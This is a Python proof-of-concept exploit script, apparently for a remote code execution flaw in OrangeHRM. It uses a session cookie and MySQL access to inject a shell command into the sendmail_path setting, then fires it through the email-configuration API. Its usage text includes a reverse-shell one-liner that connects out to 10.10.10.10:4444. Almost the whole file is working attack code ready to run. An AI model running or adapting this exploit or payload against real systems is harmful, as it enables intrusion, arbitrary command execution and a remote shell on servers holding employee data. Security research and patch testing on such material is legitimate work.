import requests import argparse import sys import mysql.connector from mysql.connector import Error import json BANNER = r""" @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@ @@ @@@@@@@ . @@@@@@@ #@@@@@@@%. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@ . @@@@@@@ @@@@ @@@@@ @@@@ @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@ @@@@@@@@@ @@@ %@@@@:*@@ @@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@ @@@@@@@ @@@ @@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@ @@@@@@ @@@@ .@@@@@@@@ @@@ .@@@@@@@ @@@@ @ @@@@@@@@@@@@@@@ @@@@@@@ @@@@@ @@@@@@ @@@@-. @@@@@@@ . @@@@@ @@@@@@@@ *@@@ @@@@ . @@@@@ @@@@. @@@@@ @@@@@ @@@@@@@@@@ @@@@ @@@@@@@@@ @ -- @@@@ .@ @@@@ @@@@ @@@@@@ @@@@@@ @@@@@@@@@@ . . @@@@@@@@@ @@@@@@@@@@@@@ @ @@@@@ @@@@ @@@@@@ @@@@@ .@@@@@@@@@@@*@@@@@ @%@@@@@@@@@@@@@ *@@@@ @ @ @ @@@@@ @@@@- @@@@@@ @@@@ @@@@@@@@@@@@@:@@@@@@@@@@@@@@:@@@@@@ . @@@@@@ @@= @@@@@@ @@@@@ @@@@@@ @ @@@@@@@@@@@* %@@@@@@@@@@@@@@@*@@@@@ .@@@@@ @@@@@@@@@@@ @@@@@@@ @@@@@@ @@@@@@ @@@@@@@@@@#%@@@@@@@@@@@@@@@@@%@@@@@@@ @@@ @@@@@@@@@@ .@@@@@@@@ @@@@@@- @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@@ @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@#==#@@@@@@@@@@@@@ @@ =@@@@@@@@@@@@@@@= @@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@@@@@@@@@@@@*.@@@@@@: @@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@@@@@@@@@ .%*@@@@@@ @@@@@@@@@.@@@@@@@@@@@@@@@@@@@@. @@@@@@@@@@@ @@@@@@@@ @ @ @@@@@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@ .@@@@@@@@ @@@@@@@@@@@ @@@@@@@ : @@@@@- .@@@@@@@@@%@@@@@@@@@@@@@@@@@@@@ @@# @@@@@@@@ @@@@@@@@@ @@@@@@@ @@@@ @@@@@@+@@@@@@@@@@@@ @@@@ @@@@@@@@@@ -@@@@@@ @@@@@@ @ . @@ @@@@@# .@@@@@@@@@@@@ @@@@@@@%@@@@ . @@@@@ @@@@@@ . @@@@@@% . *@@@@@@@ @@@ @@@@ @@@@@@ @@@ @ @ @ #@@@@@@@@@@@@@@@@@@ @ @@ @@@ @@@@@@ . . @ @ *@@@@@@@@@@@@@@@@@ @ @@ @@@@@@ @ @ @@@@ @ % @ @@@@@@@@@@ @@@@@%++#@@@@ :@@ @@@@@@@ @@@@@ @@ . . @ @ . @ . @@@@ @@@@@@@@@@@@@@@@@. @ @@@ @@@ @ @@ @@@@@@@@@@ @@@@@@@@@@@@@@@@@@ . @@@@@@@ .@ = @@@@@ . :@ +@@@@@@@@ @@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ . @@@@@@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ PoC RCE for OrangeHRM CVE-2025-66224 @@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@ PoC by RiccK @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@ Bypassadores && HackersOnSteroids @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ """ def normalizeUrl(url: str) -> str: if not (url.startswith("http://") or url.startswith("https://")): url = "http://" + url return url.rstrip("/") def createSessionFromCookie(base_url: str, cookie_value: str, cookie_name: str = "_orangehrm"): session = requests.Session() session.cookies.set(cookie_name, cookie_value) print(f"[*] Cookie set: {cookie_name}={cookie_value}") print(f"[*] Validating session...") headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', } dashboard_url = f"{base_url}/web/index.php/dashboard/index" test = session.get(dashboard_url, headers=headers, allow_redirects=True) print(f"[*] Status Code: {test.status_code}") print(f"[*] Final URL: {test.url}") if 'login' in test.url.lower(): print("[-] Invalid or expired cookie! Redirected to login.") return None if test.status_code == 200: print("[+] Valid session! Dashboard access confirmed.") return session print("[-] Could not validate session.") return None def findAndUpdateSendmailPath(db_host, db_user, db_pass, payload, db_port=3306): print(f"\n[*] Connecting to MySQL...") print(f"[*] Host: {db_host}:{db_port}") print(f"[*] User: {db_user}") try: connection = mysql.connector.connect( host=db_host, user=db_user, password=db_pass, port=db_port, connect_timeout=5 ) if connection.is_connected(): print(f"[+] Connected to MySQL successfully!") cursor = connection.cursor() cursor.execute("SHOW DATABASES") databases = cursor.fetchall() print(f"\n[*] Looking for table 'hs_hr_config'...") found = False for db in databases: db_name = db[0] if db_name in ['information_schema', 'mysql', 'performance_schema', 'sys']: continue try: cursor.execute(f"USE {db_name}") cursor.execute("SHOW TABLES LIKE 'hs_hr_config'") result = cursor.fetchone() if result: print(f"[+] Table 'hs_hr_config' found in database '{db_name}'!") cursor.execute("SELECT `name`, `value` FROM hs_hr_config WHERE `name` = 'email_config.sendmail_path'") row = cursor.fetchone() if row: print(f"\n[+] Current configuration found:") print(f" Name: {row[0]}") print(f" Value: {row[1]}") new_value = f"/usr/sbin/sendmail -bs && {payload} #" print(f"\n[*] New value will be:") print(f" {new_value}") print(f"\n[!] WARNING: This will MODIFY the database!") confirm = input("[?] Do you want to continue? (yes/no): ") if confirm.lower() == 'yes': update_query = "UPDATE hs_hr_config SET `value` = %s WHERE `name` = 'email_config.sendmail_path'" cursor.execute(update_query, (new_value,)) connection.commit() print(f"\n[+] Value updated successfully!") cursor.execute("SELECT `name`, `value` FROM hs_hr_config WHERE `name` = 'email_config.sendmail_path'") updated_row = cursor.fetchone() print(f"[+] Updated value:") print(f" {updated_row[1]}") found = True else: print(f"[-] Operation cancelled by user") found = True else: print(f"[-] Configuration 'email_config.sendmail_path' not found") break except Error as e: print(f"[-] Error accessing database '{db_name}': {e}") continue if not found: print(f"\n[-] Table 'hs_hr_config' or configuration not found") cursor.close() connection.close() print(f"\n[+] MySQL connection closed") return found except Error as e: print(f"[-] Error connecting to MySQL: {e}") print(f"\n[!] Troubleshooting tips:") print(f" 1. Check if MySQL is running") print(f" 2. If using Docker, the host might be the container name") print(f" Example: -dh orangehrm_mysql or -dh mysql") print(f" 3. Check the port with: docker ps | grep mysql") print(f" 4. If port is mapped, use: -dport PORT") print(f" 5. Try to find MySQL container IP:") print(f" docker inspect | grep IPAddress") return False def restoreSendmailPath(db_host, db_user, db_pass, db_port=3306): print(f"\n[*] Restoring original sendmail_path value...") try: connection = mysql.connector.connect( host=db_host, user=db_user, password=db_pass, port=db_port, connect_timeout=5 ) if connection.is_connected(): cursor = connection.cursor() cursor.execute("SHOW DATABASES") databases = cursor.fetchall() for db in databases: db_name = db[0] if db_name in ['information_schema', 'mysql', 'performance_schema', 'sys']: continue try: cursor.execute(f"USE {db_name}") cursor.execute("SHOW TABLES LIKE 'hs_hr_config'") result = cursor.fetchone() if result: original_value = "/usr/sbin/sendmail -bs" update_query = "UPDATE hs_hr_config SET `value` = %s WHERE `name` = 'email_config.sendmail_path'" cursor.execute(update_query, (original_value,)) connection.commit() print(f"[+] Value restored to: {original_value}") cursor.close() connection.close() return True except Error as e: continue cursor.close() connection.close() except Error as e: print(f"[-] Error restoring: {e}") return False return False def exploit(session, base_url, command, db_host=None, db_user=None, db_pass=None, db_port=3306): print(f"\n[*] Starting exploitation...") if db_host and db_user and db_pass and command: print(f"[*] Injecting payload into sendmail_path via MySQL...") success = findAndUpdateSendmailPath(db_host, db_user, db_pass, command, db_port) if not success: print(f"[-] Failed to inject payload into database") return False else: print(f"[!] MySQL credentials or command not provided!") print(f"[!] Use: -dh HOST -du USER -dp PASS -cmd 'your_command'") return False print(f"\n[*] Triggering payload execution...") email_config_url = f"{base_url}/web/index.php/api/v2/admin/email-configuration" headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0', 'Accept': 'application/json, text/plain, */*', 'Accept-Language': 'en-US,en;q=0.5', 'Content-Type': 'application/json', 'Origin': base_url, 'Referer': f"{base_url}/web/index.php/admin/listMailConfiguration", 'Sec-Fetch-Dest': 'empty', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Site': 'same-origin' } payload = { "mailType": "sendmail", "sentAs": "exploit@email.com", "smtpHost": None, "smtpPort": None, "smtpUsername": "admin", "smtpPassword": None, "smtpAuthType": "login", "smtpSecurityType": "none", "testEmailAddress": "trigger@email.com" } print(f"[*] Sending trigger request to: {email_config_url}") try: response = session.put(email_config_url, json=payload, headers=headers) print(f"[+] Status Code: {response.status_code}") try: response_json = response.json() print(f"[+] Response:") print(json.dumps(response_json, indent=2)) except: print(f"[+] Response Text:") print(response.text[:500]) if response.status_code == 200: print(f"\n[+] Payload triggered! Command should have been executed.") print(f"\n[*] Cleaning up - restoring original value...") restore_success = restoreSendmailPath(db_host, db_user, db_pass, db_port) if restore_success: print(f"[+] Database value restored successfully!") else: print(f"[-] Could not restore value automatically") print(f"[!] Restore manually to: /usr/sbin/sendmail -bs") print(f"\n[+] Exploit completed! Check if command was executed.") return True else: print(f"\n[-] Failed to trigger. Status: {response.status_code}") print(f"\n[*] Attempting to restore database value anyway...") restoreSendmailPath(db_host, db_user, db_pass, db_port) return False except Exception as e: print(f"[-] Error during trigger: {str(e)}") return False parser = argparse.ArgumentParser( prog="orangehrm_exploit.py", description=BANNER, epilog="USAGE: python3 script.py -t http://host.com -c 'cookie_value' -dh 127.0.0.1 -du user -dp pass -cmd 'whoami'", formatter_class=argparse.RawDescriptionHelpFormatter ) parser.add_argument("-t", "--target", type=normalizeUrl, required=True, help="Target URL") parser.add_argument("-c", "--cookie", required=True, help="Session cookie value") parser.add_argument("-cn", "--cookie_name", default="_orangehrm", help="Cookie name (default: _orangehrm)") parser.add_argument("-cmd", "--command", required=False, help="Command to execute") parser.add_argument("-dh", "--db_host", required=False, help="MySQL host (e.g., 127.0.0.1)") parser.add_argument("-du", "--db_user", required=False, help="MySQL username") parser.add_argument("-dp", "--db_pass", required=False, help="MySQL password") parser.add_argument("-dport", "--db_port", type=int, default=3306, help="MySQL port (default: 3306)") args = parser.parse_args() if __name__ == "__main__": print(BANNER) auth_session = createSessionFromCookie(args.target, args.cookie, args.cookie_name) if auth_session: print("\n[+] Session authenticated and validated successfully!") if args.command: exploit( auth_session, args.target, args.command, args.db_host, args.db_user, args.db_pass, args.db_port ) else: print("\n[!] No command specified. Use -cmd to execute commands.") print("[+] Session available for manual use") print(f"\n[+] Full usage example:") print(f" python3 script.py -t {args.target} -c {args.cookie} \\") print(f" -dh 127.0.0.1 -du root -dp password \\") print(f" -cmd 'bash -c \"bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\"'") else: print("\n[-] Could not establish a valid session") print("[!] Tip: Get the cookie from browser after logging in manually") sys.exit(1)